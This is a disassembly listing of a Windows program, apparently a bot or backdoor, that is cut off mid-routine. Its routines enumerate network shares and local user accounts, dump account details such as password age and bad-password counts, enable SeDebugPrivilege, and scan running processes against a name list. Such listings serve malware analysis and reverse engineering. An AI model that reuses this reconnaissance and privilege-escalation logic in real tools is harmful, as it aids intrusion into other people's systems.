arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2B
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_418CC8:				; CODE XREF: sub_418C8F+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB598
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2B
		cmp	ebx, 0EAh
		jz	short loc_418D2B
		push	ebx
		push	ebx
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439788
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_418D98
; ---------------------------------------------------------------------------


loc_418D2B:				; CODE XREF: sub_418C8F+5Dj
					; sub_418C8F+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8F
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D39:				; CODE XREF: sub_418C8F+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB53C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D50
		mov	eax, offset aNo	; "No"


loc_418D50:				; CODE XREF: sub_418C8F+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D39
		xor	esi, esi


loc_418D8F:				; CODE XREF: sub_418C8F+A2j
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_418D98:				; CODE XREF: sub_418C8F+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC8
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DB0	proc near		; CODE XREF: sub_401ACD:loc_4061EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E55
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF2
		dec	eax
		jz	short loc_418DE7
		dec	eax
		jnz	short loc_418E0D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF7
		add	esp, 14h
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DE7:				; CODE XREF: sub_418DB0+1Dj
		push	ebx
		push	edi
		call	sub_418ED6
		pop	ecx
		pop	ecx
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DF2:				; CODE XREF: sub_418DB0+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E06
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7C
		add	esp, 0Ch
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418E06:				; CODE XREF: sub_418DB0+45j
		push	57h
		pop	eax


loc_418E09:				; CODE XREF: sub_418DB0+35j
					; sub_418DB0+40j ...
		cmp	eax, edi
		jnz	short loc_418E2D


loc_418E0D:				; CODE XREF: sub_418DB0+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439094[eax*4]
		push	offset unk_439840
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418DB0+5Bj
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439090[eax*4]
		push	offset unk_439810
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418DB0+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB4D0
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4397E8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E75:				; CODE XREF: sub_418DB0+7Bj
					; sub_418DB0+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7C	proc near		; CODE XREF: sub_418DB0+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2B
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB52C
		pop	edi
		leave
		retn
sub_418E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED6	proc near		; CODE XREF: sub_418DB0+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB51C
		pop	esi
		retn
sub_418ED6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF7	proc near		; CODE XREF: sub_418DB0+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB6AC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929F
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192DA
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419016
		dec	eax
		jz	short loc_41900F
		dec	eax
		jz	short loc_419008
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419008:				; CODE XREF: sub_418EF7+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_41900F:				; CODE XREF: sub_418EF7+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419016:				; CODE XREF: sub_418EF7+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901B:				; CODE XREF: sub_418EF7+10Fj
					; sub_418EF7+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CB
; ---------------------------------------------------------------------------


loc_41929F:				; CODE XREF: sub_418EF7+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439860
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A73
		add	esp, 20h


loc_4192CB:				; CODE XREF: sub_418EF7+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192DA
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_4192DA:				; CODE XREF: sub_418EF7+40j
					; sub_418EF7+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E0	proc near		; CODE XREF: sub_401ACD+473Cp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2B
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_41931F:				; CODE XREF: sub_4192E0+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB5B4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419380
		cmp	eax, 0EAh
		jz	short loc_419380
		push	eax
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439A50
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_419380:				; CODE XREF: sub_4192E0+62j
					; sub_4192E0+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940E
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FB


loc_419392:				; CODE XREF: sub_4192E0+EDj
		cmp	edi, esi
		jz	short loc_4193D1
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419392
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_4193D1:				; CODE XREF: sub_4192E0+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439A1C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4193FB:				; CODE XREF: sub_4192E0+9Ej
					; sub_4192E0+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940E
		push	edi
		call	dword_4CB6E4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940E:				; CODE XREF: sub_4192E0+A5j
					; sub_4192E0+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931F
		cmp	edi, esi
		jz	short loc_419426
		push	edi
		call	dword_4CB6E4


loc_419426:				; CODE XREF: sub_4192E0+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419460	proc near		; CODE XREF: sub_418A99+41p
					; sub_418C8F+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419512
		jz	loc_41950B
		cmp	eax, 7Bh
		ja	short loc_4194D7
		jz	short loc_4194CD
		cmp	eax, 5
		jz	short loc_4194C3
		cmp	eax, 8
		jz	short loc_4194B9
		cmp	eax, 32h
		jz	short loc_4194AF
		cmp	eax, 35h
		jz	short loc_4194A5
		cmp	eax, 57h
		jnz	loc_419561
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194A5:				; CODE XREF: sub_419460+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194AF:				; CODE XREF: sub_419460+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194B9:				; CODE XREF: sub_419460+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194C3:				; CODE XREF: sub_419460+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194CD:				; CODE XREF: sub_419460+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194D7:				; CODE XREF: sub_419460+1Aj
		sub	eax, 7Ch
		jz	short loc_419504
		sub	eax, 7C8h
		jz	short loc_4194FD
		dec	eax
		jz	short loc_4194F3
		dec	eax
		jnz	short loc_419561
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194F3:				; CODE XREF: sub_419460+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194FD:				; CODE XREF: sub_419460+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419504:				; CODE XREF: sub_419460+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41950B:				; CODE XREF: sub_419460+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419512:				; CODE XREF: sub_419460+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954B
		jz	short loc_419544
		sub	eax, 8ADh
		jz	short loc_419576
		dec	eax
		dec	eax
		jz	short loc_41953D
		dec	eax
		jz	short loc_419536
		dec	eax
		dec	eax
		jnz	short loc_419561
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_419460+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_419460+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419544:				; CODE XREF: sub_419460+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41954B:				; CODE XREF: sub_419460+B9j
		sub	eax, 8CAh
		jz	short loc_41957D
		sub	eax, 17h
		jz	short loc_419576
		sub	eax, 25h
		jz	short loc_41956F
		sub	eax, 29h
		jz	short loc_419568


loc_419561:				; CODE XREF: sub_419460+35j
					; sub_419460+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419568:				; CODE XREF: sub_419460+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41956F:				; CODE XREF: sub_419460+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419576:				; CODE XREF: sub_419460+C2j
					; sub_419460+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41957D:				; CODE XREF: sub_419460+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419582:				; CODE XREF: sub_419460+40j
					; sub_419460+4Aj ...
		push	offset dword_4DB270
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DB270
		pop	ecx
		retn
sub_419460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419594	proc near		; CODE XREF: sub_401ACD+4782p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB664
		test	eax, eax
		jnz	short loc_419624
		mov	esi, offset dword_4DB06C
		push	offset unk_439D84
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964D
; ---------------------------------------------------------------------------


loc_419624:				; CODE XREF: sub_419594+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_419460
		pop	ecx
		mov	esi, offset dword_4DB06C
		push	eax
		push	offset dword_439D58
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964D:				; CODE XREF: sub_419594+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419652	proc near		; CODE XREF: sub_416F1B+45p
					; sub_416F1B+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2700642h
		push	eax
		call	dword_4CB638
		test	eax, eax
		jnz	short loc_419671
		leave
		retn
; ---------------------------------------------------------------------------


loc_419671:				; CODE XREF: sub_419652+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB610
		test	eax, eax
		jz	short loc_4196AF
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419698
		or	[ebp+var_8], 2
		jmp	short loc_41969C
; ---------------------------------------------------------------------------


loc_419698:				; CODE XREF: sub_419652+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969C:				; CODE XREF: sub_419652+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB6C0
		mov	esi, eax


loc_4196AF:				; CODE XREF: sub_419652+32j
		push	[ebp+var_4]
		nop
		call	near ptr 265092Ah
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BD	proc near		; CODE XREF: sub_401ACD+7916p
					; sub_4198EC+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB674, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BC
		cmp	dword_4CB658, ebx
		jz	loc_4198BC
		cmp	dword_4CB568, ebx
		jz	loc_4198BC
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB674
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AF
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB658
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198AA
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB568
		test	eax, eax
		jz	loc_4198AA
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419781:				; CODE XREF: sub_4196BD+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E8
		mov	[ebp+var_4], offset off_439DB0


loc_41978F:				; CODE XREF: sub_4196BD+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_4197B7
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439E10
